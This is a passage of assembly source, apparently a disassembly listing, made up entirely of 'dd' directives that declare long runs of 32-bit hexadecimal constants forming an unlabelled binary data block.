		dd 0D144B008h, 0FF3CA09Ch, 0D9BC414Dh, 4C29946Ah, 66371864h
		dd 0C4FE4B29h, 444F0151h, 7C44CEE8h, 14F74ACFh,	98508E08h
		dd 0D51C79A4h, 42716100h, 0BB9D587Ch, 11E80047h, 533F2730h
		dd 0E3F4F487h, 0D64FE91Fh, 0C31DC84Eh, 884462FCh, 0A722ACh
		dd 0FE567436h, 0EA26836Eh, 64B8511Fh, 0B2E51E80h, 59AD29h
		dd 0C7EFAE93h, 1D2F05E3h, 0C54B9100h, 896A1732h, 0C2CC00E7h
		dd 0B6645808h, 0DA00EDAEh, 470D3D19h, 0E0343743h, 3F7C007Bh
		dd 50759D51h, 9600A621h, 3E5F5D7h, 0F595288h, 0BA120741h
		dd 0E0765EA7h, 0AB027899h, 1BC8E100h, 0D3BEB44Eh, 9EFE676Ah
		dd 4328C0AEh, 711C3151h, 96E125Dh, 68852000h, 0DDBD79h
		dd 2A36E641h, 7F88D5CFh, 94E7CA00h, 3DD4D971h, 3820F159h
		dd 8678000Fh, 839173C2h, 0C900CCA1h, 0F1B855A0h, 0CD5293h
		dd 0EE7A6497h
		dd 0E88D8730h, 0D5071D71h, 475DC24Fh, 0CA75B40h, 0B14800C0h
		dd 467827DAh, 67007903h, 0DB4354A5h, 1D0D053Ch,	0F8CBCCh
		dd 91CF56B9h, 0D400AB6Bh, 1C53A549h, 138C30h, 965716EFh
		dd 799E43C1h, 0CACCF500h, 3C96F7Dh, 0EDD9083h, 11AE78CBh
		dd 1D98A920h, 0F8079DF2h, 0A44ECC5Ch, 8BF0DB20h, 49B80003h
		dd 854894E0h, 4004792h,	0D45DE981h, 6DB49Ch, 0A498F33Ah
		dd 0DFE66E71h, 0DC268700h, 0AB753918h, 58600E1Bh, 0AD004F11h
		dd 85C471F8h, 5EB8CB00h, 3F4B9C45h, 0E6BE0086h,	79B06534h
		dd 2100E738h, 0AF81A77h, 0E83F0104h, 504590D7h,	6CBFD6h
		dd 6EE65DABh, 6FC0386Bh, 1E1FE9E2h, 940AEADh, 0E0B5F7AAh
		dd 2B9D0704h, 0A142742Dh, 315A6248h, 0F90260DFh, 0B3525500h
		dd 0DC9AE2E0h, 0A87E0981h, 865D0403h, 0A2B5D6h,	0BE4DF115h
		dd 8CAD9DC8h, 3F66C900h, 8F0F4002h, 0AC840090h,	0E72DC7D1h
		dd 20003BC6h, 483C27C2h, 0E620F7Bh, 1312A68Ch, 0AD795780h
		dd 5100690Ah, 0D0D8C4D6h, 7AB23B11h, 0CA9200C6h, 0D545B41h
		dd 0B3000E60h, 0B6D29B3Eh, 1263D378h, 110FA7h, 34B4C130h
		dd 5E00B7E4h, 41E6C7F5h, 90CBFB88h, 0AD9C0238h,	0CCF9E760h
		dd 0F27B3A00h, 72FB000Fh, 944D37DAh, 81FB1E3Bh,	0AA6F8D6h
		dd 0C1E81514h, 12602CFh, 0C7EE4E6Ch, 6B933040h,	0C597000h
		dd 0A22CDBBEh, 0FB770050h, 0E69DAEECh, 93A05805h, 0C5711378h
		dd 547BBD03h, 90CE682Eh, 799764D5h, 0B5E007D7h,	8A510Bh
		dd 0A9A306A1h, 0A5804F00h, 6704A0FCh, 58F274B0h, 7600EDA7h
		dd 6BC3490Fh, 0C507863Bh, 98573E11h, 0E5FBC01Eh, 849A41h
		dd 0A6460852h, 265BFEC3h, 80E2550Ah, 14000CF0h,	18734413h
		dd 2DD0000Eh, 389D0C2Ch, 0BA0F059Fh, 0AF83FEAAh, 9CB9E0B0h
		dd 4F4E23Fh, 1ED816C1h,	8FDCC33Bh, 7AE8D9FBh, 4FF47708h
		dd 557DD4F4h, 6A9A4A00h, 0C3BFF57Eh, 599F0029h,	80D697B6h
		dd 0A61E95F3h, 6440076Ch, 0C4E79C2Ch, 0D79E00EBh, 0AA9853A8h
		dd 0DC91199Bh, 0EA015E26h, 6CBFC133h, 0B5F0C821h, 27755Dh
		dd 7C51B6FAh, 0D4E50F2Ch, 0A15AF00h, 0C4243C4h,	0A8B500B1h
		dd 0FB9A1A4Fh, 0A000CE19h, 0F479CD57h, 0F69818h, 1DC12FDEh
		dd 9AB6B0DCh, 0AE9DAB00h, 0B72B04F8h, 97B900FEh, 0BB83F7CBh
		dd 0B60056FAh, 1FE101C3h, 2B4920h, 7C6BD260h, 614D09D3h
		dd 0D0B3800h, 209E2D7Ah, 4F870077h, 2EFA01B0h, 4A00077Fh
		dd 333094D6h, 0EB2896h,	8662DA20h, 5521F1A8h, 0C40761B8h
		dd 0CE349A9Dh, 6C1667CEh, 38238A40h, 5CA000Dh, 6FE12892h
		dd 0F71D8551h, 3EC2B744h, 0D5D33F35h, 946AC587h, 0E2068241h
		dd 0EA69A7E0h, 808B7500h, 0EFA9DA68h, 0C898A0h,	9C95015Fh
		dd 0D7BA3724h, 0ABE9E000h, 0DAAD9334h, 521F00AAh, 0E1F7961Ch
		dd 3F006456h, 0A538F83Ch, 0E8F388h, 429F60B6h, 1AC4B73Eh
		dd 0B48D560Fh, 95BE630Eh, 0E1D7F091h, 770604A5h, 0C0DAEE14h
		dd 3303AE70h, 0B229D200h, 0C1B94524h, 0FF6E0039h, 0BB552B7Ch
		dd 0AA2C7DEEh, 111EE156h, 1FEA2E40h, 9B514Eh, 8ECFDEB1h
		dd 2FA2BE90h, 0FE64A309h, 1D0C003Fh, 0ABED41h, 772BD73h
		dd 31E23AFFh, 1988F800h, 96ACF9D0h, 8C0200C8h, 95F19CB3h
		dd 0A51C99DFh, 80C4E683h, 0D88390C5h, 597EC0E5h, 196F0087h
		dd 0F7B72E94h, 5C3EA173h, 531600B0h, 0B2BFCA91h, 0F220730Eh
		dd 0F9D728DAh, 0A1B900ACh, 3E35EA28h, 6102861Ch, 14C7B066h
		dd 4BD08E63h, 430782D3h, 563740ABh, 50F4B883h, 742EC8C4h
		dd 0D31826A2h, 585B0050h, 5E1C17ABh, 1FCB5400h,	0CA2383EBh
		dd 90F90378h, 6FC9EF70h, 605712C1h, 8A0368B4h, 0F427A569h
		dd 8C8E63h, 8F51762Bh, 7A7BABB1h, 194A482Eh, 9AD87F00h
		dd 0CC0FCEh, 0B062DDF4h, 0F3D97817h, 0D01048h, 2ED5AEB3h
		dd 0C8528Ah, 468F971Ah,	0D798E867h, 0A601850Fh,	6EF2063h
		dd 0F61569D5h, 0A0D200A5h, 0AE92A2E4h, 8007D87h, 1B8E4B74h
		dd 8DAD20h, 0AAD0E2B5h,	0DBD79577h, 86073800h, 0EC6C6667h
		dd 0CD740002h, 7E47C98Ah, 0F3078754h, 11B7DD25h, 55597FF0h
		dd 139A145Dh, 543DFC10h, 0D3047A00h, 20A6B7B5h,	0C2C5DD00h
		dd 990CB9D8h, 0ED69FA6Eh, 0A2FDF20h, 2979767Bh,	0D23B00F4h
		dd 95753C34h, 0ED32CB0Bh, 9F908021h, 1A594Fh, 630E62C1h
		dd 0F1A2D4C7h, 8A439200h, 0E6CB5117h, 72A80489h, 0C0B71A9Fh
		dd 0DFF0552Ch, 0B941C400h, 216EDC23h, 983200CEh, 82BC92A5h
		dd 390F7767h, 0A0C4D8FDh, 2803664h, 0AC9000C9h,	4E389C10h
		dd 749AB82Ah, 0D22ED100h, 0ECF6056Eh, 20800BCh,	8FD9B74Dh
		dd 0C01DD455h, 0D3C02B9Ah, 918014FCh, 0C779F022h, 1BD69E10h
		dd 0DF08357h, 0BBB4F807h, 4D70B3h, 0C9873C5h, 4490AAFh
		dd 21C73700h, 0E0885F69h, 58FDBA08h, 54036A10h,	0EBE736A8h
		dd 37C7C4A8h, 1421500Eh, 0B3870045h, 0B5B9A7h, 20107B93h
		dd 1D09BFCh, 2A0034F6h,	82DD13C3h, 1F416A15h, 80068558h
		dd 7D6F7237h, 0C7013211h, 9A2F471Ah, 9DC42240h,	8B5A023Fh
		dd 185DD9C2h, 0BA1F2040h, 51588D01h, 0E0E24A7Eh, 127A2420h
		dd 0D3438Ah, 8D38D56Ah,	0F1007E68h, 5126B8D0h, 0F64290Fh
		dd 0D50E24B9h, 5497E600h, 1A18FA55h, 0C4DE4778h, 0B7FE0081h
		dd 9FE020F3h, 3509ED21h, 0FBA7990h, 588872E4h, 1AA90E4Ah
		dd 0DDA57AA0h, 184FF833h, 1BB4F124h, 14CB816h, 3BC045Dh
		dd 0E00CF8A3h, 4F004574h, 0E2BB3605h, 74E3A01Dh, 964B009Dh
		dd 8F37315Fh, 43004C3Fh, 5DFAEFE4h, 98C705h, 349B0DE8h
		dd 0B310AB7Ch, 0A8082007h, 457054FFh, 0DE76A1h,	9FD02651h
		dd 5D80BC55h, 50F51224h, 63AA5A09h, 84789B38h, 59077980h
		dd 3F68009Ch, 7C121641h, 9E008CF2h, 0C9243E51h,	0F46C6A95h
		dd 0A9A538D6h, 0FE720B81h, 20B3E53Ah, 8909116h,	3E0549E4h
		dd 276C1D31h, 5D250180h, 50C700A3h, 0CC4621C2h,	2600AA55h
		dd 76A59AA4h, 1C3E506h,	0DA775AA7h, 70FB080Ah, 0D300389Ch
		dd 0DC1455F9h, 0EEDBC1h, 96567841h, 2EBC8CCBh, 0CA334E12h
		dd 0FCFA4842h, 10CC43Ah, 0AEE9E509h, 0DC4C0C5Fh, 0B004A0Fh
		dd 0EB320118h, 6E319ABh, 5D6F9503h, 215CB8DBh, 0DACF05FFh
		dd 0A000D236h, 15C0BB87h, 5AC380A7h, 0F4739810h, 80633A1Fh
		dd 16429679h, 8B000F5Bh, 857C87A7h, 0F4615Fh, 0AC13ABB4h
		dd 28CF03Eh, 4AA6A900h,	777D14Dh, 1D2AE289h, 0DD745ED2h
		dd 8E784895h, 0DE288C00h, 1E9A1C70h, 0CE3435DDh, 2B00F5F8h
		dd 9657174Ch, 49DE8E05h, 8840ABF0h, 0D7BDD56Bh,	0FC725C90h
		dd 0B9473F1Fh, 955D6602h, 0B2E08631h, 5EE82833h, 0D0D45Ch
		dd 9EE2CA54h, 3EF3FB9Bh, 9780E866h, 0A893B910h,	180A3922h
		dd 0ACFC1E84h, 14666980h, 3F58938h, 4DD29704h, 18027B0Bh
		dd 333B829Eh, 1308A035h, 492343h, 0F9AE935Dh, 3F1CF884h
		dd 143E4Dh, 36114C2Ch, 17450231h, 12DDCC76h, 371400A8h
		dd 5768CBB4h, 0B1002DF6h, 0EE9F1E10h, 654DE3h, 42AAE126h
		dd 91831390h, 7E140213h, 573B61B8h, 6048A180h, 3D8DFACCh
		dd 112F8B00h, 0D64381EEh, 915400AFh, 5C8665F5h,	0D212C469h
		dd 5B00FDF4h, 0EA781F29h, 0A50E488Eh, 0E7AD4000h, 0F14B68Bh
		dd 0DF556102h, 40477146h, 3063D08h, 0ADFEEC2Dh,	30916B45h
		dd 5107E4D0h, 0C7E5D800h, 0CCB81F71h, 0AE3705AFh, 0C0D64021h
		dd 252D3D87h, 0F944D21Ch
		dd 7D40CBFh, 0CD958EBh,	70967E48h, 8200C111h, 0C7AD1BA7h
		dd 1AEFEh, 0ABFC51C8h, 60F294Dh, 80006778h, 4BF46F4Eh
		dd 0FC6555D3h, 0B7160038h, 798EDF66h, 2500D717h, 91DBDAE4h
		dd 0F774723h, 9FC11850h, 0D28C75C1h, 0D6953098h, 7D04F900h
		dd 6D37FFD1h, 7AE10272h, 9E22452Eh, 0B80B29E0h,	20F0A018h
		dd 7CDF210h, 0E4D217D4h, 6D9B631Dh, 7C30D1C8h, 8FDC1F1Fh
		dd 115C480h, 0D83920h, 0BC9FC84Ch, 0C9E0296Ah, 8609FE72h
		dd 8FF1B56Bh, 0D3E380BBh, 1C95A361h, 0C0C817A8h, 0E75B6F65h
		dd 1507A466h, 0A94D29E0h, 50E5C5A0h, 878A036Dh,	0C00585A8h
		dd 7DF85BC0h, 0F1CE5500h, 0BA679A23h, 0DD360FF3h, 84C015D0h
		dd 0E01676E3h, 1B3B9B00h, 0EF377953h, 182607EDh, 407E2BBBh
		dd 81039FACh, 0D3E0BF07h, 38705D44h, 79997342h,	202C014Dh
		dd 4E50D576h, 0FB8FF4Fh, 4000612Bh, 7DCDE41Bh, 133258Fh
		dd 807A89DEh, 0DC83CA58h, 0FF908D6Bh, 17009B72h, 6940F527h
		dd 1D20631h, 0AFEBBA32h, 406DAE95h, 0EAB3984h, 650BE500h
		dd 3383CD46h, 3915F202h, 0A307C9F3h, 6053F57Dh,	4DEF2ACh
		dd 9C8F7900h, 815857B2h, 8E0E07F8h, 0E55AA4F3h,	8C1580EEh
		dd 29000D77h, 49BC5D51h, 71D26943h, 52E8C8E1h, 0E06A5C62h
		dd 747E67F1h, 0D44C00A6h, 0C27898FFh, 0A800E5D6h, 17E8542Bh
		dd 7A75224h, 73E2CC01h,	0ED2A802Dh, 0B70CA1FCh,	300657FAh
		dd 6CF4031Ah, 64EF4285h, 0ECFCF8D0h, 251DC013h,	0FA104B00h
		dd 828F67h, 3C5B7869h, 5FC6DA2Bh, 0DE36E700h, 35DFE91Ah
		dd 96BF1C9Eh, 468340D1h, 0BA030804h, 33D2B58h, 951ED058h
		dd 0C64AE820h, 0A7CC03E1h, 486F3BB1h, 12E4DF98h, 2230A603h
		dd 0B86B15CBh, 355DF2h,	1655846Eh, 7341E48h, 8B60F500h
		dd 2642CCEBh, 0EC9831h,	0F2731376h, 746D6659h, 993B1D17h
		dd 3ECC0A00h, 77F1BB1Bh, 0D5C60002h, 0A22B42E4h, 0C5008507h
		dd 0FE837787h, 0E53BB8FDh, 0F7C6DCh, 0ED60762Ah, 0B538EC93h
		dd 259EAD00h, 0C9B0A0EEh, 74084C87h, 44773700h,	0AB59AC50h
		dd 18C93B5Ch, 7E5A649Fh, 960B0A30h, 0E88D098h, 0D8206854h
		dd 34D3E223h, 3BE5039h,	0D66B44EFh, 2ACE8B9h, 5F742EC0h
		dd 38003D44h, 92DE7B27h, 0F100E15Eh, 6B144DD9h,	6D5FE3h
		dd 0A830134Eh, 1EF2BC9Ah, 7D928402h, 60EAECA0h,	3D83A50h
		dd 0C6D0897Ch, 5B813FFh, 0CF002901h, 49229E8Dh,	6E6F64h
		dd 0EA1F6A5Fh, 0EBC3B41h, 0E1756CE0h, 8E029DF0h, 0BBA8AFB4h
		dd 61C05D6Bh, 3F03BE4h,	16EB7A00h, 0CE3F8122h, 1C980Ah
		dd 0CDBA26F0h, 5F78A419h, 45C87501h, 6742A289h,	0F741B880h
		dd 2084E9C2h, 0F601CF78h, 5D1EE0D2h, 0BEF83EA6h, 828E005Bh
		dd 70079C2Ah, 620086EDh, 22F0A446h, 3E4863F4h, 0E381CDF9h
		dd 1564A775h, 878430C5h, 0BDB98500h, 0C4213388h, 0F44200BBh
		dd 1A0289E4h, 8A0F4770h, 404AD676h, 3C313D86h, 3D9E6BEh
		dd 0B1FEAD5Bh, 0DCD240C6h, 0EB5E75C0h, 88EAF674h, 0E48D3800h
		dd 24112736h, 6F70034Fh, 0FC91A0DEh, 0F4832A0h,	5CE3C550h
		dd 988BA00h, 9B0C0E66h,	3F18002Ch, 89935A13h, 623CA4BCh
		dd 681F80ABh, 49EC734h,	6B301D8h, 8AE21BA3h, 0EB7C4BCh
		dd 0A489B500h, 0E0E3DB14h, 0CBFE00AFh, 5D6B3BFCh, 51140F49h
		dd 1C0124Fh, 0ADD7B790h, 20306E03h, 0DEAE00ECh,	44208D7Bh
		dd 0CA44F569h, 0A91A0021h, 0D5D4BE74h, 41005D9Eh, 6EC16109h
		dd 13920E0Ah, 402215h, 0E296A4D8h, 0D97C8229h, 1A778B01h
		dd 65377E38h, 0FD6230h,	91F56396h, 0D5693CBh, 18D65E00h
		dd 81C02922h, 0C0BD9816h, 63EEB038h, 7A034704h,	9F272659h
		dd 3B317A85h, 2200AF9Ch, 0DF5FDEA9h, 9F4C80E2h,	0EE2418BCh
		dd 4BD4B9h, 0C25FDBF6h,	0A335CABEh, 902360Bh, 0D01645h
		dd 17349CDCh, 7D4E5179h, 0C54F2C00h, 2A93C90Dh,	0CDA1FABh
		dd 3B1BC08Ch, 1E0649C7h, 30E2B58h, 0A5DE50ECh, 0E5202687h
		dd 395A06BCh, 0B50F10FBh, 80144B6Dh, 0B9B673F3h, 0E1C1CF9h
		dd 871C04Fh, 0C4D2DEF5h, 0CD079C73h, 9969518Dh,	0B601F77h
		dd 763A389h, 85E47D26h,	0B31DC0C8h, 2B007674h, 0D3786F05h
		dd 274E02h, 0BDBAEFA7h,	5A7AD4B7h, 0E49F9D14h, 35131F84h
		dd 0F333FDC3h, 0CE08A8B0h, 75FA9Bh, 876BE327h, 0E75651DAh
		dd 109DFB04h, 0EC80D1F5h, 0F45B0B93h, 0C8A50076h, 0FAE1B4AFh
		dd 32E2EE2h, 392C24h, 20426C40h, 1E3E701h, 516ED898h, 0F82E9702h
		dd 4E589F23h, 95680072h, 0D68112B8h, 6FBD0114h,	77CBE276h
		dd 6705D9E1h, 340B12C4h, 0E9E38C05h, 7E4DEC9Ch,	11FC0002h
		dd 4C81F55Eh, 0F019924h, 0D2182F6Ah, 0E3C36756h, 60403FD0h
		dd 0DA255A18h, 0F0F8F624h, 9EBECE01h, 6410884Dh, 0DA0020h
		dd 2DCA042Bh, 4FDF43B7h, 568E1304h, 0CC0227Dh, 3AF17A09h
		dd 3B9F969Ch, 0D4C803Fh, 6BAE20F3h, 0A6113E3Ah,	0DE0094E0h
		dd 35BD28FCh, 194800ECh, 5E0F0753h, 10C075C9h, 81DAE142h
		dd 32BC05E5h, 80637A05h, 7D8E5E3Fh, 0F500E37Eh,	50E929F8h
		dd 3E7CA1Dh, 0C56AAD44h, 72123CECh, 0AA00E59Eh,	2612E8EDh
		dd 2A950349h, 0D818301Ch, 0A090B9D8h, 159BE500h, 3BB07D66h
		dd 3CB8D6h, 6AD26521h, 25E808E6h, 281F3003h, 0F0D53520h
		dd 6B0D31h, 2BA59AADh, 0E6C8C62Dh, 24454138h, 0BE007A90h
		dd 637B8E92h, 7AA905DCh, 0C076F9B4h, 39C438C0h,	90E73788h
		dd 0CB5F00CFh, 0DC217257h, 0D50779F3h, 8F2996C3h, 40E864B0h
		dd 20B8F1h, 24334483h, 5BABBBAFh, 0A305C900h, 84DC8CAh
		dd 0A7F80089h, 95817A19h, 55006CF5h, 798D05AFh,	0EAE1A9F1h
		dd 0D6F000A1h, 339DA0C5h, 8703FB11h, 292510BEh,	71C7A061h
		dd 0C63B0020h, 465DC12Ah, 0D224AE3Eh, 0D30F30ACh, 41F00092h
		dd 9824BCB4h, 767F0EF8h, 6C81EF2Fh, 0E8EA38C3h,	7D0C1DACh
		dd 0B81C53E7h, 0B37905E6h, 0C09F8A39h, 2276AA70h, 0F1E47007h
		dd 0BD4066CEh, 1CD9EB96h, 0C0ADCB2Eh, 2DC4BBBh,	61FE6D43h
		dd 0EB229B03h, 0A0184D38h, 0C06FE70Ah, 65F71290h, 0F50E8886h
		dd 0E2C743CEh, 6B13F955h, 0C8ABF340h, 3CAD3Eh, 5228AC54h
		dd 511FE635h, 0F5E8F939h, 23048809h, 15A4803Fh,	952BE75h
		dd 2D6C82F5h, 782EA083h, 0D2CB0480h, 18836205h,	168125BEh
		dd 1E60D8C3h, 0C24D00FBh, 90E1AC2Fh, 7B0E2A76h,	0A0F63D8Eh
		dd 5ABD1914h, 0FB6100B1h, 0FF943210h, 66009917h, 0BE86D64Dh
		dd 0B878F319h, 47441258h, 0F4689DF4h, 0D7E01B5Eh, 0FEC2833Ch
		dd 0A1037100h, 1AC315B2h, 0D6D10B6Bh, 688005ADh, 0D75EE546h
		dd 0E3A9800Ah, 431496F1h, 10C526E0h, 0B92DBE60h, 0ECE63045h
		dd 62A34350h, 0E7C23A12h, 0D89CF400h, 519D07h, 9FF12E11h
		dd 0FC20DB0Dh, 2CAAF914h, 80193CECh, 0C4153779h, 49D58h
		dd 1898E6E2h, 0FDD9205Eh, 52165A00h, 8F662D0Bh,	7A91073Bh
		dd 60320EDDh, 7035492Ah, 0E9502907h, 4F70BF85h,	3687D9h
		dd 7FF865E0h, 43456D81h, 17EC43Fh, 2AD1DB20h, 5A31DA8Eh
		dd 325C60CEh, 613E0126h, 0F7E4690Fh, 3AE02A67h,	0DDDF0015h
		dd 8A4ED01h, 0E5005C91h, 6F123207h, 8D1D39h, 0BADBFD99h
		dd 5EFEFF83h, 111C3B00h, 0D2B7BFA3h, 3DE209E4h,	60440384h
		dd 0BBBE301Eh, 0EB19DCC0h, 52FCF7h, 0E6BD7444h,	713E4CD9h
		dd 2A79327Ch, 0C2317501h, 3355A2Dh, 0B56AE440h,	5CDF660h
		dd 0EC3DE733h
		dd 5DB1841Eh, 0A85142DCh, 0CE20622Bh, 0B52C3973h, 0B73387C0h
		dd 841BF425h, 0E0E3518Ch, 9E06770Eh, 68995000h,	0E4712023h
		dd 0FB24FCE8h, 4C008480h, 0BD69A4ACh, 2674ECB0h, 4E4CB7EBh
		dd 0CF1EF894h, 0C1530095h, 10979188h, 60EF5A0Eh, 44DF4034h
		dd 0F9EB63h, 0F7A0B4D6h, 32881385h, 31397AE2h, 0AC90034Ah
		dd 0E548BBh, 0DAA32551h, 0E4ABD923h, 5DF75100h,	7C9732A4h
		dd 0FBE10027h, 0CE5E9C1h, 0CD005970h, 0B2BC1666h, 2FCE3Eh
		dd 81689A38h, 1D2E848Fh, 0A2002476h, 2D957060h,	5C31A32h
		dd 0E356C6EDh, 29F8C0F3h, 0F739AA63h, 34C18BEBh, 0DE5C00D0h
		dd 184EBDh, 0B4099356h,	8B25CA1h, 0C831F300h, 29FF4D5h
		dd 0BAC00116h, 5B78E62Ch, 0D3AFCCE4h, 0AA35B91Eh, 0EFEDFA47h
		dd 843733C0h, 411E0BACh, 9DF81D75h, 0B4075200h,	0B721FC1Ch
		dd 0AE6F00F1h, 0D8C49E8Eh, 4A026C62h, 7A4F4DCDh, 0A8FB405Eh
		dd 0D9B0E6h, 0E0A03560h, 23509A48h, 3B6CB400h, 0E3A67D84h
		dd 6037FF9h, 0F6F7697h,	991CCCEAh, 0BCBF968Ch, 0DB840056h
		dd 68E01BEh, 466E00F1h,	152075C4h, 0B007451Fh, 4AD1A2D5h
		dd 97629090h, 0A7E8033Fh, 0B9CA3110h, 2A8D8780h, 9EEEB102h
		dd 8067F2C6h, 0A58B4BB0h, 261B000Ch, 0E607DF82h, 701C0F81h
		dd 574F84FCh, 0BD3800E1h, 0DA3729h, 8018D186h, 0FC56B970h
		dd 0DD0054F2h, 60647628h, 22AEC0h, 3FA5F8Bh, 6B116616h
		dd 29386700h, 2DBD0172h, 44E900DBh, 5A39767Eh, 907D7A45h
		dd 57D3D800h, 33A2DA3Ch, 6EA1073Eh, 0B0F9C91Bh,	6245D5F5h
		dd 71005DFAh, 82350693h, 0B3DDC6h, 4C96D4EFh, 0A6BD2C79h
		dd 0FE628100h, 0D9FA2934h, 0F17624E6h, 5EDC0338h, 23C02752h
		dd 0D20156B3h, 334B14F5h, 0C9DC7729h, 0A8FC1C85h, 0F665405Ah
		dd 0CC1584ECh, 0FBCF5100h, 53725425h, 18D4007Bh, 471FC67Dh
		dd 0C8079CC1h, 0B6BAA2BCh, 4A4B0E00h, 3BB50F26h, 0EB80C9B8h
		dd 2B74A40Ch, 521A58h, 0D870643Dh, 0C53441h, 0DD930D2Ch
		dd 8D3C44B8h, 8F5FF800h, 0AF6FB6E9h, 756002Bh, 434FB031h
		dd 0E70036F6h, 0D12A0FB2h, 16792754h, 3F2FA6Eh,	0EE35CC68h
		dd 0AE5C903Ah, 9F000F02h, 4AE7D2CAh, 0F18E00C6h, 0DE0FF005h
		dd 230FCF1Ah, 6184DAF5h, 0A61ED2Ch, 0B9C7B6C5h,	21810B79h
		dd 0DDC460CDh, 0BA20C8FBh, 0B7031CECh, 559FEB45h, 0E50C98CBh
		dd 2A7F0016h, 35993A6Ah, 400115A7h, 0F960742Ch,	7C249CC4h
		dd 7BBD12C7h, 0C5DC00F7h, 0ED481C14h, 0B4307D00h, 0D07CCC87h
		dd 79EFCFEh, 6078F57h, 0B01DC75Eh, 0AA4F66A3h, 46D50900h
		dd 43694440h, 1A49008Ah, 0C980F7F3h, 10CF6C5h, 6063398Fh
		dd 3740B577h, 0E603E738h, 2B26BCB0h, 1821C63Ah,	36D09E75h
		dd 0DB1D5062h, 731DED59h, 0E11D132Eh, 2170AF5Ch, 73888FCh
		dd 31A77DF0h, 0CAD9308Dh, 360621A3h, 0C5536FA0h, 0FA8F1D36h
		dd 0E902B8F8h, 8329E6F0h, 339E3881h, 1DF900A8h,	86220CA7h
		dd 0FF2860D3h, 0F4194206h, 370C78Fh, 0C5F9F8ABh, 9820BB51h
		dd 7550F452h, 20084330h, 0DA15054Fh, 0AF546D31h, 6AE4D102h
		dd 594AC09Ch, 39CB00B0h, 57557A56h, 4A3F7E4Ch, 7DB8E063h
		dd 0E0C1514Eh, 3C4100B6h, 0F1089B56h, 6207DB61h, 0CED140C9h
		dd 0A7B7E03Eh, 3C2DC82h, 0C50CF34Eh, 0DAB864AFh, 0C97A89BDh
		dd 1B8448h, 0F9BEE7ABh,	4D9CCBh, 0C7CE0DC4h, 0D4714F08h
		dd 12AB0700h, 0FF1BBE45h, 52390055h, 51086BB8h,	0C10F5773h
		dd 0C0A572C5h, 922B3281h, 0EAF700DEh, 33B8A35Dh, 8D002DC6h
		dd 7637E917h, 59791Dh, 6DE47E3Eh, 0A96ACADBh, 7F30F549h
		dd 94B71928h, 99CCDA18h, 5DF3F0h, 174894D3h, 8FB826E5h
		dd 0CA131C00h, 1ED95370h, 0F929C88Eh, 245AEE42h, 8D0B210Fh
		dd 7A101512h, 0C9DB8863h, 89893288h, 44C40811h,	28A0579Dh
		dd 0AD8896B9h, 110680D4h, 0E5BB0800h, 0B968DA55h, 79493B3Bh
		dd 9A10DB00h, 4C85B4F8h, 0C9B3000h, 5A9C2A12h, 640A00D7h
		dd 3FEBC17Dh, 0BC009633h, 0BB678523h, 0F32E9E4h, 0FD37A102h
		dd 8AEE152Fh, 8BC45C0h,	0BA00C62Ah, 0FF16010Eh,	58040h
		dd 945B09F3h, 0A4EA2165h, 0D3EF777h, 7F7A81EEh,	0A7E30BD8h
		dd 7050D0h, 73F085ECh, 31637403h, 0A4E680FFh, 0EA8392D0h
		dd 0ED840025h, 55894E5Ch, 0F000E706h, 0AFBEC102h, 40011Dh
		dd 749CB122h, 0BB546B62h, 42E2BA1Fh, 207C8D0Fh,	5BA4CFB2h
		dd 0E07C90C3h, 0AD66070Fh, 5FA93036h, 1C504680h, 2C008468h
		dd 41A4B4F9h, 2DA7Eh, 9D57F1FFh, 0B14AF3EEh, 4D20051Fh
		dd 7327B880h, 709C82h, 81ABBCC6h, 455E357h, 7C6FC400h
		dd 0CC90B23Ah, 0A581E68h, 0AD0F00E9h, 0C48F1BA3h, 478B6C00h
		dd 0A8736F45h, 4E49023Eh, 753CF355h, 6EE64040h,	1E54DD58h
		dd 5EC0EB88h, 21D6B86h,	92CC00F5h, 0E882BD3Ah, 0FA00C143h
		dd 31CBF056h, 5C94A764h, 0E30049C3h, 8826726Fh,	0D901700Dh
		dd 0F5F15CCBh, 0A03A650Fh, 29067BDBh, 0ED80BE04h, 2F9B0019h
		dd 61013C47h, 3079F3Fh,	86878CFAh, 1A0AE6C0h, 0D1F200B7h
		dd 32AC7FCCh, 0D163D42h, 0AE2AF8h, 9201B316h, 670090D6h
		dd 0EF2BEEF4h, 77AA5033h, 0E170004h, 0AC066B4Fh, 0CCFABBABh
		dd 53137FE8h, 39008482h, 591AF010h, 2F8F0066h, 0E24EAE3Dh
		dd 0E6000D1Bh, 0B6432B8h, 0FD7CBC2h, 70F7B9A6h,	4098BE00h
		dd 20C0B7F6h, 52C8E2D0h, 272A00CDh, 0E689081Fh,	0F4097BFAh
		dd 803B4E47h, 0D94154A8h, 0C67500AAh, 0EA895A6Bh, 8BF26A3Fh
		dd 0CA8AB800h, 7FFC5925h, 21D3004Dh, 0E629EC88h, 8E00309Ah
		dd 42108D51h, 4F24CB5h,	0F34996B2h, 0D19080EAh,	68007E99h
		dd 0F78E5C16h, 0B8651A10h, 5A9E0080h, 758E2E9h,	21267FD8h
		dd 7C26E7ABh, 0DA80111Fh, 62EB1226h, 963100AAh,	67B0A3C9h
		dd 2B3CBA71h, 0ED7F00FBh, 0D53DCD26h, 21E6009Dh, 0A225BBF8h
		dd 19098424h, 8A60E099h, 22087882h, 0FC9277h, 43B989D8h
		dd 8B03A290h, 2FD12606h, 0D6C88A64h, 1B0906E7h,	0DE01B163h
		dd 790FA459h, 492057BEh, 0F818C7AAh, 16492045h,	0CB589C6Eh
		dd 0A32C00D0h, 0FD1F7FD7h, 0D2E00036h, 0AA59382Ah, 489872DCh
		dd 589A0400h, 0C0EE9581h, 0E191880h, 0BD1A48B8h, 37018C73h
		dd 183199CDh, 0E1203568h, 652C001Eh, 7728415h, 190012BBh
		dd 9AA86C52h, 0F1568Eh,	140640EEh, 0F0C7F4A5h, 2443FB00h
		dd 368D5D82h, 6C9A8Ah, 0E70163F5h, 0C774E173h, 7C7ADC00h
		dd 0A127C4C5h, 0F687027Dh, 97FF1CD9h, 2BC633E0h, 80C9403Fh
		dd 88437E05h, 1CBC956Ah, 0C0C28E11h, 0EDD54258h, 0E638CEF3h
		dd 0C09DA4DBh, 2047926h, 0B0C081C9h, 0BB0C8h, 17834A31h
		dd 0CF4D305Fh, 0DD3C3F7Ah, 0A04B80A5h, 2B55DC7Dh, 1F4C3887h
		dd 925A3681h, 30D9599Dh, 0AE00E9C4h, 94BE2185h,	7010BCh
		dd 0CF7A944h, 67CCC36Fh, 0D7E8F80Ah, 8B13A8BAh,	0E42DE603h
		dd 944DE89Fh, 1C95751Dh, 0C0FB39CAh, 0BE85556Dh, 0D485E18h
		dd 33130098h, 0A6C58426h, 1D25007Dh, 60610F8Bh,	0A800D5FFh
